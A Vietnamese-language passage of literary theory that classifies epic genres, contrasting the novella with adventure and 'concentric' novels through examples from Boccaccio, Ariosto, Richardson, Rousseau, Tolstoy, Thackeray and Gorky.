Một trăm câu chuyện văn xuôi, biên soạn hành “Chuyện mười ngày” (1353) mặc dù tất cả đều được gọi là truyện vừa nhưng rất không đồng nhất biểu hiện những đặc thù riêng biệt của thể loại này – sự bất ngờ của đoạn mở nút, vạch rõ “sự tự phát triển” của tính cách, trình bày nó từ khía cạnh mới. Chẳng hạn như câu chuyện người lái buôn Ruphôlô (truyện vừa số 4 của ngày thứ 2). Bị mất hết của cải, hắn làm một tên cướp biển cướp bóc người Thổ, lại có tài sản, hy vọng bắt đầu sống một cuộc đời yên tĩnh như cũ, nhưng lại rơi vào cảnh tù binh của người Ghenued và cùng chịu cảnh đắm tàu với họ, nhưng sau đó khi cứu một cái thùng trong đó có báu vật thì hắn lại giàu có. Toàn bộ câu chuyện này là sự chồng chất những sự ngẫu nhiên bên ngoài mà chúng tự có tính hấp dẫn làm lạc hướng sự chú ý của độc giả khỏi sự phát triển tính cách của nhân vật chính. Truyện vừa số 3 ngày thứ 5 về Pêtro và Anhiôlenle cũng giống thế. Mà những truyện vừa như vậy ở Bôccaxiô không ít. Từ một phương diện khác ở ông có những truyện vừa mà thực chất chúng là sự phỏng thuật tóm tắt những câu chuyện có thể trình bày tỷ mỉ thành cốt truyện tiểu thuyết. Ví dụ câu chuyện thực chất không dài về Mađonna Beritol đánh mất những đứa con trai nhỏ của mình và lại tìm được chúng khi đã lớn (truyện vừa số 6 của ngày thứ 2) hoặc câu chuyện tương tự về bá tước Anverxki và các con của ông (truyện vừa số 8 cùng ngày) là loại như vậy.
Nhưng ở Bôccaxiô lại có những truyện vừa thực sự rất tiêu biểu cho thể loại này. Chẳng hạn như truyện vừa số 9 ngày thứ 5, kể về chuyện anh thanh niên Phêđêriô giàu có có khi đã tiêu xài toàn bộ tài sản của mình vào việc chăm sóc uổng công người đàn bà xa lạ Đjuvanna, liền sống trong cảnh bần hàn, bỗng được ban tặng cuộc viếng thăm monna đã bị góa chồng, trong buổi ăn sáng chàng đã tặng cho nàng con chim ưng yêu quý của mình, vốn là con chim mồi mà chàng đã sống nhờ vào những cuộc săn bắt cùng nó; nàng đánh giá cao tình yêu sâu sắc, chung thủy của chàng nên kết hôn với chàng và đem lại sự giàu có cho chàng. Hoặc như truyện vừa số 4 ngày thứ 6 kể chuyện về người đầu bếp Kikibiô dọn lên bàn ông chủ của mình một con sếu một chân, tặng cho người yêu của mình một con khác ra sao và liền sau đó anh ta bị đe dọa quở phạt đã trả lời cơn tức giận của ông chủ với sự hỗ trợ của những câu trả lời khôn ngoan, sắc sảo trong cuộc tranh luận về việc nói chung con sếu có mấy chân. Hoặc như truyện vừa số 2 ngày thứ 3 nói về chuyện vua Aghilunph đang đêm, khi người giám mã của mình sợ sự lừa dối của vợ mình mà chạy đi đâu đó, đã phát hiện ra anh ta giữa đám đầy tớ ngủ say, liền cắt nhúm tóc của anh ta để sáng ra trừng phạt, nhưng người đầy tớ ấy bấy giờ lại lén cắt một nhúm tóc như thế ở tất cả những người đầy tớ khác và bằng cách đó cứu được mạng sống của mình. Ở Bôccaxiô có cả loạt truyện vừa khác rất thú vị trong quan hệ thể loại, trong phần lớn các hiện tượng là châm chọc giới tăng lữ.
Nhưng cũng tựa như một số lớn các tác phẩm “phong tục học” về thực chất của mình (đã nói ở phần trên) thường tiếp nhận hình thức cốt truyện tiểu thuyết, đã hình thành như chuyện phiêu lưu mạo hiểm của một nhân vật nào đó đứng ở trung tâm câu chuyện (Panury, Gulliver và Tritriko – những ví dụ tốt cho loại này) cũng như “chuyện phong tục” nho nhỏ, câu chuyện vạch trần một cách châm biếm lối sống của giới này hay giới khác thường giống cốt truyện với truyện vừa nhưng lại không phải là nó về thực chất. Chẳng hạn như trong “Chuyện mười ngày” truyện vừa thứ 2 của ngày thứ 2 kể về chuyện một tu sĩ trẻ vui chơi yêu đương nơi trai phòng của mình với cô gái mà anh ta đã bí mật dụ dỗ vào và muốn đánh lừa ông linh mục già – người đã nghe trộm cuộc hẹn hò này và đang muốn trị tội anh ta, bèn bỏ chìa khóa trai phòng lại cho ông ta rồi đi làm việc nhà tu. Ông linh mục định bụng kiểm tra sự nghi ngờ của mình, đi tìm cô gái trong trai phòng và mặc dù già nua phục phà phục phịch nhưng vẫn lợi dụng sự nhẹ dạ của cô gái để thỏa mãn. Tu sĩ trẻ khi quay trở lại lén nhìn thấy họ, sau đó đáp lại sự quở trách của cha thiêng liêng bèn kể với ngài rằng anh ta đã nhìn thấy qua lỗ khóa trong trai phòng của mình. Khi đó tu viện trưởng tha lỗi cho anh ta và cả hai sau đó nhiều lần dẫn cô gái đến để vui thú cùng nhau. Mới thoạt nhìn đó là xung đột truyện ngắn của hai tính cách, trình bày chúng trong sự tiến triển. Trên thực tế đó là sự vạch trần châm biếm thói hư hỏng giống nhau thâm căn cố đế của hai khuôn mặt thuộc hoàn cảnh này hay hoàn cảnh khác.
Như vậy truyện vừa đã xuất hiện trước tiểu thuyết đôi khi làm cơ sở cấu trúc của nó. Nó là câu chuyện về một sự kiện được kết thúc bất ngờ trong cuộc sống các nhân vật của mình khi mà ở tiểu thuyết thì tiềm tàng toàn bộ câu chuyện tính cách của một cá tính riêng lẻ hay của một loạt cá tính phát triển trong xung đột với hoàn cảnh xã hội ấy, hay hoàn cảnh xã hội khác. Và trái ngược với ý kiến của V.V.Kôginôv, truyện vừa không phải chỉ là giai đoạn quá độ, chuẩn bị cho sự xuất hiện tiểu thuyết. Nó có ý nghĩa độc lập và phát triển liên tục, đang tiếp diễn trong thời đại chúng ta.
Cũng không xác đáng là ý tưởng của tác giả cuốn sách “Nguồn gốc tiểu thuyết”, cho rằng dường như trong thời kỳ Phục hưng cao cả, văn học đã quay trở lại về cơ bản thể loại bi kịch anh hùng còn tiểu thuyết thì bắt đầu phát triển muộn hơn. Nhưng chính trong thời kỳ Phục hưng cao cả đã sáng tác rất nhiều trường ca tiểu thuyết quan trọng.
Đặc biệt thú vị trong quan hệ thể loại là những trường ca được viết vào cuối thế kỷ XV và XVI của nhà thơ Phêrarrư. Nếu như các bản trường ca của Krêtien đơ Trua và những tác phẩm tương tự rõ ràng là những hiện tượng đầu tiên về thể loại tiểu thuyết trong điều kiện của Tiền phục hưng Pháp thì việc xác định thể loại “Rôland yêu dấu” của Bôiardo và “Rôland cuồng loạn” của Ariôxtô có thể gợi nên sự ít nghi ngại hơn.
Điều đó còn biểu hiện rõ ràng hơn ở sự hiểu biết trở lại có tính thể loại của các tính cách hiệp sĩ. Các nhà thơ xem là cần thiết hơn các đặc điểm những tính cách mà đã từ lâu được tạo dựng nơi chúng bằng cuộc đấu tranh vũ trang vì những lợi ích chung dân tộc, – bằng sức mạnh chiến đấu, lòng dũng cảm, can trường của họ. Còn bây giờ phương diện khác – sự say mê của các hiệp sĩ là những xúc cảm yêu đương riêng tư của mình, những khát vọng lãng mạn của họ đối với người tình, sẵn sàng dâng hiến tất cả sức lực của mình để phục vụ nàng, gắn bó với nàng. Ở Bôiarđô và Aaiôxtô sự chuyển hướng suy nghĩ như vậy rõ ràng là một nhiệm vụ sáng tạo độc lập bởi vì cả hai đều gọi những nhân vật chính của mình bằng tên người hiệp sĩ xuất sắc nhất của sử thi anh hùng Karônlinxki. Các trường ca của họ gần như là phản đề nghệ thuật trực tiếp của “Bài ca Rôland”.
Nhưng nội dung các trường ca ấy còn phức tạp hơn. Nếu như các tác giả “Trixtăng và Idơn” và Kretien đơ Trua đã miêu tả những xúc động phong nhã và những truyện phiêu lưu các nhân vật của mình với tất cả sự nghiêm túc và đồng cảm thì Bôiarđô và Aaiôxtô mô tả chúng với sự mỉa mai nhẹ nhàng, trang nhã. Trong ánh sáng thế giới quan nhân đạo của mình, họ dường như bắt chước thể loại tiểu thuyết phiêu lưu – hiệp sĩ, nhấn mạnh sự không giống như thật những cuộc phiêu lưu của các nhân vật mình, xáo trộn một cách cố ý các tình tiết trong những cốt truyện của mình, đưa vào những hình tượng và môtíp huyễn hoặc ngây thơ quá đáng (nguồn gốc thần kỳ, sự thay đổi tình cảm của những con người, những kẻ khổng lồ, những con rồng, những phù thuỷ, những người lùn, quái vật biển). Ariôxtô mô tả Rôland thậm chí hóa rồ từ tình yêu, còn lý trí Axtrôph được tìm thấy trên Mặt trăng trong cái lọ nhỏ ghi dấu tên của nó.
Bôiarđô và Aaiôxtô đã sáng tác các trường ca của mình trong thời kỳ phồn thịnh của chủ nghĩa nhân đạo Italia, còn Taxxô đã viết “Ieruxalim được giải thoát” trong thời kỳ suy thoái của vận động ấy, trong hoàn cảnh sự phản động thiên chúa giáo lớn mạnh dữ dội và ông bị đe dọa. Theo thế giới quan nghệ thuật của mình thì Taxxô là nhà thơ Phục hưng xuất sắc nhưng về quan điểm chính trị tôn giáo thì ông là người trung thành của hệ tư tưởng phản động đã thắng lợi. Điều đó thể hiện qua tính chất hai mặt của trường ca của ông. Trong đó, hầu như ông muốn xây dựng lại cốt truyện có tính tiểu thuyết thơ phong nhã theo giọng điệu anh hùng. Xung đột cơ bản của tác phẩm là cuộc đấu tranh với “những sự không trung thành” của quân thập tự chinh Cô đốc giáo dưới thành lũy Ierualim được nhà thơ giải thích hết sức nghiêm túc như là sự đụng đầu của các lực lượng thánh thần và quỷ sứ. Nhưng đồng thời ông lại bện vào cốt truyện cơ bản ấy những tình tiết tiểu thuyết phần lớn có tính chất hoa tình điền viên và đa cảm theo nhiệt hứng của mình; dưới góc độ nghệ thuật, đó là những đặc điểm có ý nghĩa nhất toàn bộ trường ca.
Như vậy, các tiểu thuyết phiêu lưu – hiệp sĩ và phiêu lưu – bợm nghịch như “Cha cố Amixa”, “Truyện về Lixa” đã xuất hiện trong văn học Tây Âu sớm hơn nhiều các tiểu thuyết về những chuyện phiêu lưu của những “kẻ lang thang” và “phiêu bạt” mất địa vị giai cấp mà V.V. Kôginôv xem là những tiểu thuyết châu Âu đầu tiên nói chung. Ở đây chúng ta sẽ không xem xét sự phát triển của các tiểu thuyết loại này bởi vì cách đây không lâu điều đó đã được làm sáng tỏ cặn kẽ trong cuốn sách của ông.
Nhưng một số kết luận chung lại được nảy sinh từ tất cả điều trình bày. Các tiểu thuyết – đó là những tác phẩm tự sự mà chúng không khác hình thức trữ tình trong đó nhân vật chính của nó (hay các nhân vật) như một cá thể riêng lẻ trong thời kỳ quan trọng cuộc đời mình bộc lộ sự phát triển tính cách xã hội của mình bắt nguồn từ mâu thuẫn những quyền lợi của nó với hoàn cảnh của nó trong xã hội, với những tiêu chuẩn này khác của đời sống xã hội ấy. Phương diện thể loại tiểu thuyết của nội dung tác phẩm là như vậy.
R.Phôkx đã đúng khi viết về những đặc điểm chung: “Tiểu thuyết có quan hệ cá nhân, đó là bản trường ca có tính sử thi về cuộc đấu tranh của cá nhân với xuất hiện và nó có thể phát triển chỉ trong xã hội nơi mà sự cân bằng giữa cá nhân và xã hội mất đi, nơi mà con người được tìm thấy trong trạng huống chiến tranh với các bạn hữu của mình hay với thiên nhiên”(1).
Kiểu sớm nhất của tiểu thuyết châu Âu nói chung là tiểu thuyết phiêu lưu, tiểu thuyết được xây dựng từ một loạt những tình tiết khác nhau, giống nhau bề ngoài, từ những cuộc phiêu lưu riêng lẻ của các nhân vật bắt nguồn từ những điều kiện khác nhau của vị trí và thời gian. Đối với tất cả các tiểu thuyết ấy có đặc trưng cách này hay cách khác là sự tập hợp rộng rãi cốt truyện.
Thay thế các tiểu thuyết tập hợp cốt truyện rộng rãi trong tất cả các nền văn học chủ yếu châu Âu dần dần là những tiểu thuyết kiểu khác – cốt truyện tập trung mạnh mẽ, “đồng tâm”. Trong các cốt truyện của chúng phát triển một xung đột duy nhất nào đó, đôi khi đơn giản, đôi khi ít hoặc nhiều phức tạp và phân nhánh, tập trung trong những giới hạn nhất định thường là hẹp không gian và thời gian.
Việc xuất hiện những tiểu thuyết loại này không ngẫu nhiên và không phải là sự sáng tạo bề ngoài của những nhà văn này hay nhà văn khác. Những tiểu thuyết này đồng tâm không chỉ theo hình thức cốt truyện của mình mà cả nội dung nữa. Trong các tiểu thuyết phiêu lưu sự phát triển tính cách của nhân vật chính trong những điều kiện đời sống “riêng” phần lớn diễn ra trong sự thay đổi hoàn cảnh bên ngoài của nó, trong sự thay thế những thành công và thất bại, chiến thắng và tổn thất, trong sự đạt tới một vị thế mới nào đó trong đời sống của tầng lớp xã hội này hay khác. Ở đây các nhà văn hướng sự chú ý chủ yếu vào thế giới cảm xúc các nhà văn của mình, thấm nhuần những quan niệm đạo đức nhất định hoặc vào những nhu cầu đời sống thực tiễn. Và toàn bộ tiến trình các sự kiện phục vụ trong chiều hướng đó để làm rõ sức mạnh hoặc điểm yếu của những khát khao cảm xúc ấy hoặc những nhu cầu và năng lực thực tiễn.
Những người sáng tạo các tiểu thuyết “đồng tâm” đã nhận thức tính cách người một cách sâu sắc và phức tạp hơn. Trong thế giới đạo đức các nhân vật của mình họ hướng tới phơi bày rõ nét ít hoặc nhiều niềm tin và tư tưởng của chúng và những nguyên tắc mà từ đó các nhân vật đã xuất phát trong những hành động và quan hệ của mình. Vì vậy các tiểu thuyết “đồng tâm” đã và thường xây dựng trên những sự tương phản đạo đức này hay khác giữa những nhân vật chính, trên những mâu thuẫn của chúng bắt nguồn từ đó thường có những tính quy luật lịch sử xã hội nào đó chứ không phải trên sự tập hợp bất kỳ loại ngẫu nhiên nào như điều đó đã có trước đây. Điều đặc biệt cơ bản trong những tiểu thuyết này là tiến trình các sự kiện trong chúng không đơn giản biểu hiện những sức mạnh và nhược điểm có trong tính cách các nhân vật mà làm chất tác nhân thay đổi và phát triển các tính cách của chúng, lập trường tư tưởng đạo đức của chúng.
Nhưng đối với những thay đổi như vậy trong tư duy nghệ thuật của các nhà tiểu thuyết cần phải phù hợp với những biến đổi trong chính đời sống xã hội. Những chuyển biến như vậy đã bắt đầu xuất hiện khi xã hội phong kiến suy thoái đã mất đi cơ sở thứ bậc đẳng cấp thuở xưa của mình và là sự cố kết hết sức tạp nham, không bền vững của những tầng lớp xen kẽ khác nhau đã dần dần trở nên chín muồi sự tập hợp giai cấp cơ bản của xã hội tư bản mới và trên cơ sở đó đã xuất hiện những trào lưu khác nhau của tư tưởng xã hội, đã bắt đầu cuộc đấu tranh ý thức hệ phức tạp và sâu sắc hơn.
Những dấu hiệu ban đầu đã xuất hiện trước tiên trong thời đại Phục hưng. Nhưng bước ngoặt lớn lao trong quan hệ này chỉ xuất hiện vào nửa sau thế kỷ XVIII và đầu thế kỷ XIX, trong kết quả những chuyển biến kinh tế, chính trị sâu sắc xảy ra ở hàng loạt các nước châu Âu, mang tính chất cách mạng thường xuyên.
Có thể lời bóng gió đầu tiên về những thay đổi được chỉ ra trong văn học nghệ thuật là truyện vừa mang tính tiểu thuyết của Bôccaxiô “Fiametta”, “đồng tâm” về cốt truyện của mình và chủ nghĩa tâm lý trọn vẹn. Cũng có thể nêu tên cả loạt những tác phẩm khác muộn hơn cùng loại trong các nền văn học Tây Âu khác nhau. Nhưng trong mục đích chỉ ra một cách đầy đủ của chúng tôi về những đường tiếp cận trực tiếp việc xuất hiện tiểu thuyết “đồng tâm” chín muồi – là những tiểu thuyết của một số nhà văn Anh và Pháp thế kỷ XVIII. “Pamela” và “Klairixa Garloi” của Risaxrơn và sau đó là “Nàng Eloidia mới” của Rutxô rõ ràng là những dấu hiệu đầu tiên của bước chuyển tiếp chín muồi của tiểu thuyết sang giai đoạn mới phát triển lịch sử của nó.
Trong toàn bộ những tác phẩm đó, nền tảng cốt truyện là một xung đột tình yêu trọn vẹn, có khởi điểm và kết thúc của mình, và điều mà lý luận kịch thường gọi là “sự thống nhất hành động”. Nhưng những quan hệ tình yêu của các nhân vật chính trong đó, đặc biệt là trong “Pamela” và “Nàng Eloidia mới” không phải là một cái gì đó độc lập mà là một phương tiện khám phá phản đề xã hội sâu sắc của các tính cách. Risacxơn do sự hạn chế thế giới quan dân chủ của mình đã không thể đẩy xung đột ấy đến kết thúc mang tính kịch hoàn toàn có thể xảy ra và đã thỏa mãn bằng sự thỏa hiệp. Ruxô đã tạo bi kịch cá nhân của các nhân vật mình, Iuli và Xăng-Pre, là biểu hiện phản kháng kịch liệt chống lại sự hợp pháp hóa vô đạo đức của các tầng lớp thống trị xã hội đưa đến sự hôn nhân cưỡng bức và hủy hoại hạnh phúc cá nhân con người. Nhưng trong quan điểm của tác giả và các nhân vật chính yếu đã giao động trong việc giải quyết xung đột của tình cảm và nghĩa vụ. Bởi vì những tư tưởng đạo đức và khát vọng của Iuli và Xăng-Pre được phát triển trong độ dài cả tiểu thuyết, mặc dù có sự tử vong của nhân vật nữ nhưng các tình huống không được giải quyết.
Tiếp tục về sau, trong văn học thế kỷ XIX và XX, các tiểu thuyết “đồng tâm” do các nhà văn lớn nhất của các nước khác nhau sáng tạo chủ yếu ở châu Âu, cơ bản là trong hình thức truyện vừa, đôi khi là trường ca đã mở rộng trong hệ đề tài của mình, đào sâu nghiên cứu, đã phức tạp hóa trong việc vạch ra những nhánh cốt truyện chính, phụ và thực sự thường trở thành “bách khoa thư” nghệ thuật đời sống dân tộc của các thời kỳ này hay thời kỳ khác của nó, trong khi đua tài trên quan hệ đó với những tác phẩm lớn nhất của nhóm thể loại “phong tục học”. Ví dụ cho loại này rất nhiều nên việc tập trung chi tiết vào tác phẩm này hay khác hầu như không cần thiết.
Nhưng ở chừng mực nào đó hầu như không có một tiểu thuyết “bách khoa thư” trong những đặc điểm riêng biệt nội dung của mình, dẫu sao nó vẫn luôn là một trong những thể loại văn học tự sự. Và lời kiến nghị của V.Dnheprôv xem tiểu thuyết là một tiểu thuyết văn học thứ tư đặc biệt nào đó ngang hàng với sử thi, trữ tình, và kịch không có một cơ sở vững vàng nào cả(1).
Thêm vào đó, tiểu thuyết, như đã vạch rõ, – đó là thể loại lớn nhất và có ý nghĩa nhất giữa toàn bộ nhóm thể loại họ hàng với nó bởi tất cả nhóm ấy đã có thể gọi là nhóm tiểu thuyết. Bên cạnh với những tiểu thuyết theo nghĩa đen trong thơ và văn xuôi còn tồn tại những trường ca có tính tiểu thuyết (trong nghĩa hẹp của từ) và những truyện vừa có tính tiểu thuyết (cũng trong nghĩa như vậy).
Chẳng hạn Bairơn, đồng thời với nghĩa đen là tiểu thuyết thơ “Đông – Gioăng” là một bước ngoặt thú vị nhất từ cấu tạo cốt truyện phiêu lưu (toàn bộ những chương đầu trước việc xuất hiện ở Gioăng ở Anh) sang cấu tạo cốt truyện “đồng tâm” (những chương ở Anh) đã sáng tạo ra loạt trường ca tiểu thuyết nhỏ, theo nhiệt hứng của mình trong phần lớn trường hợp có tính lãng mạn: “Ghiaura”, “Korxara”, “Manphređa”, “Laru” v.v… Selli, bên cạnh trường ca – không tưởng “Nữ hoàng Mab”, có quan hệ với nhóm thể loại “phong tục” và với trường ca “lịch sử – dân tộc”. “Cuộc khởi nghĩa Ixlama” đã được nhắc tới ở trên, đã viết cả trường ca – tiểu thuyết – “Aloxtor, hay linh hồn cô độc”.
Cũng có thể tìm thấy trong sáng tác của Puskin. Bên cạnh trường ca – tiểu thuyết “Epghênhin Ônheghin” ông đã sáng tác trường ca “lịch sử dân tộc” nhỏ “Pôntava”. Nhưng xuất hiện trước chúng là những trường ca nhỏ của tính tiểu thuyết – “Người tù Kápka”, “Giếng phun Bakhtrixaraixki”, “Những người Xưgan”. Còn về sau ông đã sáng tác trường ca truyện ngắn điển hình “Ngôi nhà nhỏ ở Kôlôma”. Những trường ca lãng mạn ưu tú của Lermôngtốp mà ông chuẩn bị in – “Mxưri” và “Con quỷ” cũng giống thể loại với những trường ca “phương nam” của Puskin.
Nhưng đang tồn tại những truyện vừa – tiểu thuyết. Đó là cách nhà văn gọi những tiểu thuyết nhỏ trong văn xuôi khác với các tiểu thuyết theo nghĩa đen bởi thành phần ít hơn của các nhân vật hành động và dung lượng ít hơn của cốt truyện. Thể loại này chiếm một vị trí lớn trong sáng tác của Tuôcghênhép (từ “Thư từ” và “Nhật ký của con người thừa” đến “Nước mùa xuân”). Chúng có nhiều trong sáng tác của Sêkhốp, người thường biết xếp gọn toàn bộ lịch sử một tính cách trong cái khung cốt truyện rất vắn tắt (“Đời tôi”, “Câu chuyện một người không quen biết”, “Iônưtr” và những truyện khác).
Nhưng lại thường có những tiểu thuyết “đồng tâm” với nguyên tắc khác của cấu tạo cốt truyện – những tiểu thuyết “biên niên” trong đó không có một xung đột duy nhất bắt đầu và kết thúc cốt truyện, trong những tiểu thuyết đó sự trưởng thành bên trong và sự hình thành sự tính cách cơ bản được bộc lộ ra trong các tình tiết không gắn bó với nhau bởi các liên hệ nhân quả. Ví dụ như bộ ba tiểu thuyết của L.Tônxtôi “Thời thơ ấu”, “Thời niên thiếu”, “Thời thanh niên” M.Gorki cũng đã vếit phần các tiểu thuyết của mình như vậy, bắt đầu với “Phoma Gorđêép”. Thậm chí cuốn “Người mẹ” của ông hàm chứa trong chiều sâu của mình một mâu thuẫn duy nhất nhưng vẫn là tiểu thuyết – “biên niên” theo sự phát triển bên ngoài của hành động.
_________________________

Như vậy, các tác phẩm văn học loại tự sự có thể phân ra những nhóm thể loại mà mỗi một trong số đó có đặc điểm một sự thống nhất nào đó – những bản chất “loại hình” lặp đi lặp lại một cách lịch sử của toàn bộ các vấn đề – của nội dung thể loại tất nhiên không thể cho rằng những nhóm ấy tách biệt nhau bằng những giới hạn không vượt qua được và giữa chúng không thể có những sự hình thành khoảng cách trung gian. Ngược lại, chúng thường được gặp gỡ.
Chẳng hạn các tiểu thuyết phiêu lưu – bợm nghịch và sau đó là “đồng tâm” đôi khi có cả những bức tranh miêu tả rộng lớn nhiều hay ít cuộc sống sinh hoạt xã hội, trên cái nền của chúng biểu hiện xung đột cơ bản của chúng và bản thân chúng có thể có ý nghĩa “phong hóa” (“phong tục”).
Ví dụ như “Gil Blagiơ” của Lêxagiơ. Khác với “Con quỷ thọt” về cơ bản đây là tiểu thuyết phiêu lưu và về thực chất thậm chí không bợm nghịch. Nhân vật Gil từ đầu là vốn là một chàng trai tốt bụng và thật thà, nhưng trong môi trường bất đắc dĩ vây quanh, anh ta đã trở thành kẻ bịp bợm, hám danh lợi và lừa dối rồi ăn cắp và phải vào tù. Nhưng gần cuối đời, với sự ghê tởm khi từ giã phục vụ triều đình nhà vua, nơi từng được cất nhắc, anh ta tìm được ánh sáng đạo đức và sự yên tĩnh trong cuộc sống gia đình điền viên. Nhưng lịch sử phức tạp và lâu dài của những thăng trầm bên ngoài và bên trong của nó (trong tiểu thuyết 12 cuốn) – đó đồng thời là bức tranh rộng lớn nhất của những tập quán xấu của xuất hiện phong kiến Tây Ban Nha, từ cái ổ đạo tặc đến giới triều đình được mô tả bằng bút pháp thường xuyên châm biếm của nhà văn thù địch với xã hội ấy trong những khát khao dân chủ tự phát của mình.
Cả cuốn “Truyện vừa triết học” của Vonte “Kanđid hay chủ nghĩa lạc quan” (1759) cũng thế. Trong đó mô tả những cuộc du lịch và những tai vạ xảy ra với chàng trai ngây thơ Kanđid và những người tuỳ tùng các thầy giáo triết học của chàng – nhà lạc quan Panglôx dạy “môn thần học – vũ trụ – siêu hình nhảm nhí” và luôn luôn biểu lộ niềm tin vững chắc rằng “tất cả dẫn đến với cái tốt nhất trong đó từ những thế giới tốt nhất” và với nhà bi quan Martin tin rằng trong thế giới cái ác thống trị và con người sinh ra là để đau khổ và buồn rầu. Tất cả những chuyện phiêu lưu mạo hiểm mà họ gặp phải là sự kiểm nghiệm hai học thuyết ấy và thuyết phục Kanđid về sự sai lầm của các quan điểm lạc quan của Panglôx của chủ nghĩa bi quan của Martin đối với chàng cũng không thể chấp nhận được. Theo ý muốn tác giả, nó thiên về quan niệm rằng tư tưởng hợp chân lý của đời sống chứa đựng trong lao động – trong cuộc đời lao động giản dị giữa thiên nhiên. Đó là phương diện tiểu thuyết của toàn bộ các vấn đề tác phẩm. Nhưng không thỏa mãn điều đó, Vonte buộc các nhân vật của mình đến thăm đất nước không tưởng “Elđơrađô” trong đó có đầy đủ tất cả những gì cần cho cuộc sống con người và ở đó vì vậy không có bất kỳ sự xích mích, kiện tụng nào, không có tôn giáo, nhà thờ, không tòa án, ở đó nếu có chính quyền nhà vua thì chủ nghĩa dân chủ chung và sự tinh tế của các đạo đức đang thống trị và các khoa học đang thịnh vượng. Như vậy, trong hình thức tiểu thuyết phiêu lưu của Vonte về thực chất đã sáng tạo truyện vừa “mô tả giáo huấn”, trào phúng không tưởng theo nhiệt hứng của mình.
Và “Anna Karênia” của L.Tônxtôi cũng vậy, trong đó phần nào là tuyến cốt truyện đô thành của Anna và Vrônxki, còn phần lớn hơn nhiều là tuyến điền trang, Lêvin hàm chứa trong mình, cạnh chất tiểu thuyết là biểu hiện rất rõ phương diện “phong hóa” của nội dung thể loại của mình. Bộ ba tiểu thuyết của Gorki “Thời thơ ấu”, “Kiếm sống”, “Những trường đại học của tôi” cũng như vậy.
Thường thì trong các tác phẩm được gọi là tiểu thuyết, phương diện “phong hóa” của nội dung thậm chí chiếm ưu thế về ý nghĩa tư tưởng của mình hơn phương diện tiểu thuyết. Ví dụ như cuốn “Giờ phút khó khăn” của V.Xlêpxôv, trong đó mô tả xung đột tình yêu diễn ra ở trong nhà Setinhin, bao quanh rậm rạp tất cả các phía biết bao cảnh trích đoạn châm biếm “chiến tranh du kích” của những người nông dân khốn khổ bởi cuộc cải cách với địa chủ, hội đồng quản trị địa phương, với “thế giới” công xã riêng từ của họ là cuốn tiểu thuyết của nhà dân chủ những năm sáu mươi ở đây hầu như chìm đắm trong “mô tả giáo huấn” của phương diện chính trị. L.Tônxtôi cũng xây dựng “Phục sinh” như thế. Ở đó tất cả các cảnh, lớp “phong tục” nhà tù, tòa án, bị áp giải, phòng khách, thôn quê đều có ý nghĩa hơn so với lịch sử tiểu thuyết những quan hệ đạo đức của Nhêkhliuđôv và Kachiusa. Và ở đây “phong tục học” nổi trội hơn rôman học. Đôi khi nhà văn dự định viết tác phẩm theo một thể loại nhất định nhưng trong quá trình sáng tác lại dẫn đến một kết quả khác trên cơ sở phát triển của những tính cách mà nhà văn đã chọn.
Đã xảy ra như vậy với Thackhơrây trong “Hội chợ phù hoa”. Căn cứ theo nhan đề truyện vừa có ngụ ý bóng gió sau đó được nhắc lại và được nhấn mạnh trong suốt tác phẩm, nhà văn muốn tạo nên bức tranh lối sống phong tục của xã hội quý tộc tư sản Anh và đẩy lên bình diện thứ nhất tính chất khôi hài của các tính cách và quan hệ những kẻ đại diện của nó. Vào đầu chương 50 ông nói về thi ca thứ mà nó cổ vũ tác giả “việc tường thuật mang tính trào phúng ấy…”. Đồng thời trong tác phẩm thực sự hài hước, lão Pit Krôuli hay huân tước Xtain chỉ là những nhân vật hạng hai, ở một mức độ yếu. Những nhân vật trung tâm – Emilia Xedli và Dgiordgiow Ôxbori, Rêbekka Sari và Rôđôn Krôuli và nhiều hơn là Uiliam Đôphin – thừa sức hài hước. Nhưng tất cả truyện kể là để dành cho những quan hệ vợ chồng cá nhân của họ, số phận họ và sự phát triển các tính cách của họ. “Hội chợ phù hoa” dự định như một tác phẩm trào phúng, như truyện vừa “phong hóa” nhưng thực chất đã là một tiểu thuyết. Nhà nghệ sĩ Thackhơrây rõ ràng không có tài năng nhà trào phúng.
Một cái gì đó tương tự nhưng theo những nguyên nhân khác đã xảy ra với Sêđrin trong “Các ông chủ Gôlôvlev”. Khởi thuỷ các chương đầu tiên của tác phẩm này cần đi vào “Những lời dự định tốt đẹp” như những bút ký riêng lẻ trong cái nhìn hài hước của nhà văn. Nhưng sau đó ông rất say mê và nghiên cứu sâu sắc tính cách của Porphirria Gôlôvlev (Inđuski) và tách các chương Gôlôvlepxki từ cái nhìn tổng quát, lấy chúng làm cơ sở cho một tác phẩm độc lập, trong đó trình bày sự phát triển của tính cách được nhận thức một cách châm biếm ấy cho tới giai đoạn thoái hóa hoàn toàn của nó và “không có kế thừa”. Chính từ những tác phẩm trào phúng của Sêđrin đã có được tiểu thuyết trào phúng, tác phẩm một nhóm khác của các thể loại.
Cuối cùng, cần chỉ ra rằng trong mươi năm gần đây, bắt đầu trong văn học xã hội chủ nghĩa Nga, tiếp theo là trong văn học xã hội chủ nghĩa các nước khác đã xuất hiện những tác phẩm đa diện và phức tạp hơn nữa trong nội dung thể loại của mình. Đó là những tác phẩm “lịch sử – dân tộc” về căn bản theo các đặc điểm chung những hệ vấn đề của mình và bao hàm mạnh mẽ trong mối quan hệ đó nhiều hoặc ít các bức tranh rộng lớn đời sống chính trị xã hội thời đại này hay thời đại khác. Nhưng đồng thời những nhân vật hành động chủ yếu của chúng trong lúc tham gia tích cực trong những xung đột dân sự được miêu tả lại phơi bầy trong quá trình đó sự phát triển chủ yếu những tính cách xã hội của mình.
Những tác phẩm như vậy thường gọi là “tiểu thuyết – sử thi”. Nhưng cách gọi ấy không chính xác. Sử thi là những tác phẩm đồ sộ theo quy mô của mình, có thể có, như đã nói, nội dung thể loại đa dạng. Những tác phẩm đang nói đó trước hết là sử thi “lịch sử – dân tộc”, nhưng mang trong mình trên cơ sở ấy nguyên tắc tiểu thuyết – sự tiến hóa tính cách của những nhân vật riêng lẻ. Vì thế có thể gọi chúng một cách tốt hơn là sử thi “tiểu thuyết – anh hùng”.
Trong những tác phẩm như vậy được thực hiện không phải sự kết hợp những đặc điểm khác nhau của nội dung thể loại và thích ứng của những phần khác nhau của tác phẩm mà là sự thống nhất hữu cơ và xuyên tấm lẫn nhau của chúng. Vì thế thậm chí có thể đặt ra vấn đề về sự xuất hiện của nhóm mới các thể loại, những tác phẩm của nó một phần giống tiểu thuyết trong nghĩa truyền thống của từ nhưng chúng lại là sự thống nhất mới, tổng hợp những bản chất loại hình của nội dung thể loại và trong một chừng mực nào đó cả những khuynh hướng “phong hóa”.
